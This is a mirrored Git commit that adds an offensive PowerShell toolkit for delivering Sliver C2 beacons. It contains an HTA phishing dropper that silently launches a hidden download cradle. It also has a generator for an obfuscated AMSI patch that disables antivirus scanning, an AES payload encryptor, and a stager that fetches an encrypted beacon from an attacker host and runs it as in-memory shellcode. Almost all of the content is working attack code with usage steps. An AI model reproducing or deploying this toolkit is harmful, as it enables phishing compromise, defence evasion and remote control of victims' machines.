mirror of
https://github.com/Chaelsoo/sliver-psh
synced 2026-08-09 12:03:21 +00:00
Init
This commit is contained in:
@@ -0,0 +1,4 @@
|
||||
*.bin
|
||||
amsi.ps1
|
||||
amsi_rasta.ps1
|
||||
stager_rasta.ps1
|
||||
@@ -0,0 +1,86 @@
|
||||
# sliver-drop
|
||||
|
||||
PowerShell stager for Sliver beacons. Downloads an AES-256-CBC encrypted beacon over HTTP, decrypts it in memory, and executes it via a function pointer delegate without touching disk. Includes an AMSI patch to neutralize the scanner in the PowerShell process before the payload runs.
|
||||
|
||||
The HTA delivery method documented here is one option. The stager itself works with any delivery that can run a PowerShell download cradle: macro, scheduled task, WinRM, living-off-the-land, whatever fits the engagement.
|
||||
|
||||
## Flow
|
||||
|
||||
**1. Generate the beacon in Sliver**
|
||||
|
||||
```
|
||||
profiles new --format shellcode --mtls LHOST:443 --skip-symbols beacon-profile
|
||||
generate --save beacon.bin
|
||||
```
|
||||
|
||||
Specify the port explicitly in `--mtls`. Omitting it defaults to 8888, not 443.
|
||||
|
||||
**2. Encrypt the beacon**
|
||||
|
||||
```
|
||||
python3 encrypt.py beacon.bin beacon_enc.bin
|
||||
```
|
||||
|
||||
Prints the key and IV. Copy both into `stager.ps1` under the config block.
|
||||
|
||||
**3. Generate a fresh AMSI patch**
|
||||
|
||||
```
|
||||
python3 gen_amsi.py --url http://LHOST/stager.ps1 > amsi.ps1
|
||||
```
|
||||
|
||||
Each run produces a new random XOR key, so the output differs every time. The `--url` flag appends the IEX download cradle for `stager.ps1` at the end.
|
||||
|
||||
**4. Update config values**
|
||||
|
||||
In `stager.ps1`, set `$LHOST` and paste the key and IV from step 2.
|
||||
|
||||
In `delivery.hta`, set `LHOST` if using HTA delivery.
|
||||
|
||||
**5. Serve the files**
|
||||
|
||||
```
|
||||
sudo python3 -m http.server 80
|
||||
```
|
||||
|
||||
The target needs to reach `beacon_enc.bin`, `stager.ps1`, and `amsi.ps1` at the same host.
|
||||
|
||||
**6. Trigger execution on the target**
|
||||
|
||||
The entry point is `amsi.ps1`. Deliver it however fits the engagement:
|
||||
|
||||
```powershell
|
||||
IEX(New-Object Net.WebClient).DownloadString('http://LHOST/amsi.ps1')
|
||||
```
|
||||
|
||||
Or via the included HTA dropper, which wraps that cradle in a VBScript `Window_onLoad` handler so it fires the moment `mshta.exe` opens the file.
|
||||
|
||||
**7. Start the mTLS listener in Sliver**
|
||||
|
||||
```
|
||||
mtls --lhost LHOST --lport 443
|
||||
```
|
||||
|
||||
## HTA delivery
|
||||
|
||||
`delivery.hta` is a phishing delivery vector. Send the target a link to `http://LHOST/delivery.hta` and `mshta.exe` will open it, fire the PowerShell cradle silently, and close the window. Update `LHOST` in the file before use.
|
||||
|
||||
## Files
|
||||
|
||||
| File | Purpose |
|
||||
|---|---|
|
||||
| `delivery.hta` | Optional HTA dropper, update LHOST |
|
||||
| `amsi.ps1` | Generated AMSI patch, do not commit |
|
||||
| `stager.ps1` | Stager template, update LHOST, key, IV |
|
||||
| `encrypt.py` | Encrypts a payload, prints key and IV |
|
||||
| `gen_amsi.py` | Generates a fresh obfuscated AMSI patch |
|
||||
|
||||
`*.bin` files and `amsi.ps1` are gitignored. Regenerate both per engagement.
|
||||
|
||||
## Notes
|
||||
|
||||
The AMSI patch writes `mov eax, 0x80070057; ret` over `AmsiScanBuffer` in the current process, making it return `E_INVALIDARG` and skip the scan. The entire P/Invoke definition is XOR obfuscated so no plaintext signatures appear in the script.
|
||||
|
||||
Execution uses `Marshal.GetDelegateForFunctionPointer` rather than `CreateThread`, which avoids the thread creation event and keeps execution on the calling thread.
|
||||
|
||||
Memory is allocated RW, the beacon is copied in, then flipped to RX before execution. No RWX region is ever created.
|
||||
@@ -0,0 +1,15 @@
|
||||
<html>
|
||||
<head>
|
||||
<!-- update LHOST below before use -->
|
||||
<script language="VBScript">
|
||||
Sub Window_onLoad
|
||||
Dim LHOST : LHOST = "10.10.14.29"
|
||||
Set shell = CreateObject("Wscript.Shell")
|
||||
shell.Run "powershell -w hidden -ep bypass -c ""IEX(New-Object Net.WebClient).DownloadString('http://" & LHOST & "/amsi.ps1')""", 0, False
|
||||
window.close
|
||||
End Sub
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
</body>
|
||||
</html>
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
#!/usr/bin/env python3
|
||||
# AES-256-CBC encrypt a payload for use with stager.ps1.
|
||||
# Usage: python3 encrypt.py <payload.bin> <output_enc.bin>
|
||||
# Copy the printed key and IV into stager.ps1.
|
||||
import os, sys
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Util.Padding import pad
|
||||
|
||||
if len(sys.argv) != 3:
|
||||
print(f"usage: {sys.argv[0]} <payload.bin> <output_enc.bin>")
|
||||
sys.exit(1)
|
||||
|
||||
key = os.urandom(32)
|
||||
iv = os.urandom(16)
|
||||
|
||||
with open(sys.argv[1], 'rb') as f:
|
||||
data = f.read()
|
||||
|
||||
cipher = AES.new(key, AES.MODE_CBC, iv)
|
||||
encrypted = cipher.encrypt(pad(data, AES.block_size))
|
||||
|
||||
with open(sys.argv[2], 'wb') as f:
|
||||
f.write(encrypted)
|
||||
|
||||
print(f"[+] {len(data)} bytes -> {len(encrypted)} bytes encrypted")
|
||||
print(f"[+] key = {key.hex()}")
|
||||
print(f"[+] iv = {iv.hex()}")
|
||||
+36
@@ -0,0 +1,36 @@
|
||||
#!/usr/bin/env python3
|
||||
# Generates an XOR-obfuscated PowerShell AMSI patch.
|
||||
# Usage: python3 gen_amsi.py [--url http://LHOST/stager.ps1]
|
||||
# Pipe output to amsi.ps1 or pass --url to auto-add the IEX download cradle.
|
||||
import secrets, argparse
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('--url', help='URL to IEX after patching AMSI (e.g. http://LHOST/stager.ps1)')
|
||||
args = parser.parse_args()
|
||||
|
||||
k = secrets.randbelow(200) + 10
|
||||
|
||||
def enc(s):
|
||||
return ','.join(str(ord(c) ^ k) for c in s)
|
||||
|
||||
def enc_bytes(b):
|
||||
return ','.join(str(x ^ k) for x in b)
|
||||
|
||||
cs = ('using System;using System.Runtime.InteropServices;'
|
||||
'public class A{'
|
||||
'[DllImport("kernel32")]public static extern IntPtr GetProcAddress(IntPtr h,string n);'
|
||||
'[DllImport("kernel32")]public static extern IntPtr LoadLibrary(string n);'
|
||||
'[DllImport("kernel32")]public static extern bool WriteProcessMemory(IntPtr h,IntPtr a,byte[] b,int n,out int w);}')
|
||||
|
||||
# mov eax, 0x80070057 ; ret, AmsiScanBuffer returns E_INVALIDARG
|
||||
patch = [0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3]
|
||||
|
||||
print(f"$k=0x{k:02X}")
|
||||
print(f"Add-Type -TypeDefinition (-join(@({enc(cs)})|%{{[char]($_-bxor$k)}}))")
|
||||
print(f"$h=[A]::LoadLibrary((-join(@({enc('amsi.dll')})|%{{[char]($_-bxor$k)}})))")
|
||||
print(f"$a=[A]::GetProcAddress($h,(-join(@({enc('AmsiScanBuffer')})|%{{[char]($_-bxor$k)}})))")
|
||||
print(f"$p=[byte[]](@({enc_bytes(patch)})|%{{$_-bxor$k}})")
|
||||
print(f"$w=0;[A]::WriteProcessMemory(-1,$a,$p,6,[ref]$w)")
|
||||
|
||||
if args.url:
|
||||
print(f"\nIEX(New-Object Net.WebClient).DownloadString('{args.url}')")
|
||||
+51
@@ -0,0 +1,51 @@
|
||||
$code = @"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public class Win32 {
|
||||
[DllImport("kernel32")]
|
||||
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
public static extern void RtlMoveMemory(IntPtr dest, byte[] src, uint size);
|
||||
|
||||
public delegate void ShellcodeDelegate();
|
||||
|
||||
public static void Execute(IntPtr addr) {
|
||||
ShellcodeDelegate fn = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(addr, typeof(ShellcodeDelegate));
|
||||
fn();
|
||||
}
|
||||
}
|
||||
"@
|
||||
|
||||
Add-Type -TypeDefinition $code
|
||||
|
||||
function hx($h) { $b = New-Object byte[] ($h.Length/2); for($i=0;$i -lt $h.Length;$i+=2){$b[$i/2]=[Convert]::ToByte($h.Substring($i,2),16)}; $b }
|
||||
|
||||
# --- config: update before use ---
|
||||
$LHOST = "10.10.14.29"
|
||||
$key = hx "REPLACE_WITH_KEY_FROM_ENCRYPT_PY"
|
||||
$iv = hx "REPLACE_WITH_IV_FROM_ENCRYPT_PY"
|
||||
# ---------------------------------
|
||||
|
||||
$encrypted = (New-Object Net.WebClient).DownloadData("http://$LHOST/beacon_enc.bin")
|
||||
|
||||
$aes = [System.Security.Cryptography.Aes]::Create()
|
||||
$aes.Key = $key
|
||||
$aes.IV = $iv
|
||||
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
|
||||
|
||||
$decryptor = $aes.CreateDecryptor()
|
||||
$bytes = $decryptor.TransformFinalBlock($encrypted, 0, $encrypted.Length)
|
||||
|
||||
$addr = [Win32]::VirtualAlloc([IntPtr]::Zero, [uint32]$bytes.Length, 0x3000, 0x04)
|
||||
[Win32]::RtlMoveMemory($addr, $bytes, [uint32]$bytes.Length)
|
||||
|
||||
$oldProt = 0
|
||||
[Win32]::VirtualProtect($addr, [uint32]$bytes.Length, 0x20, [ref]$oldProt) | Out-Null
|
||||
|
||||
[Win32]::Execute($addr)
|
||||
Reference in New Issue
Block a user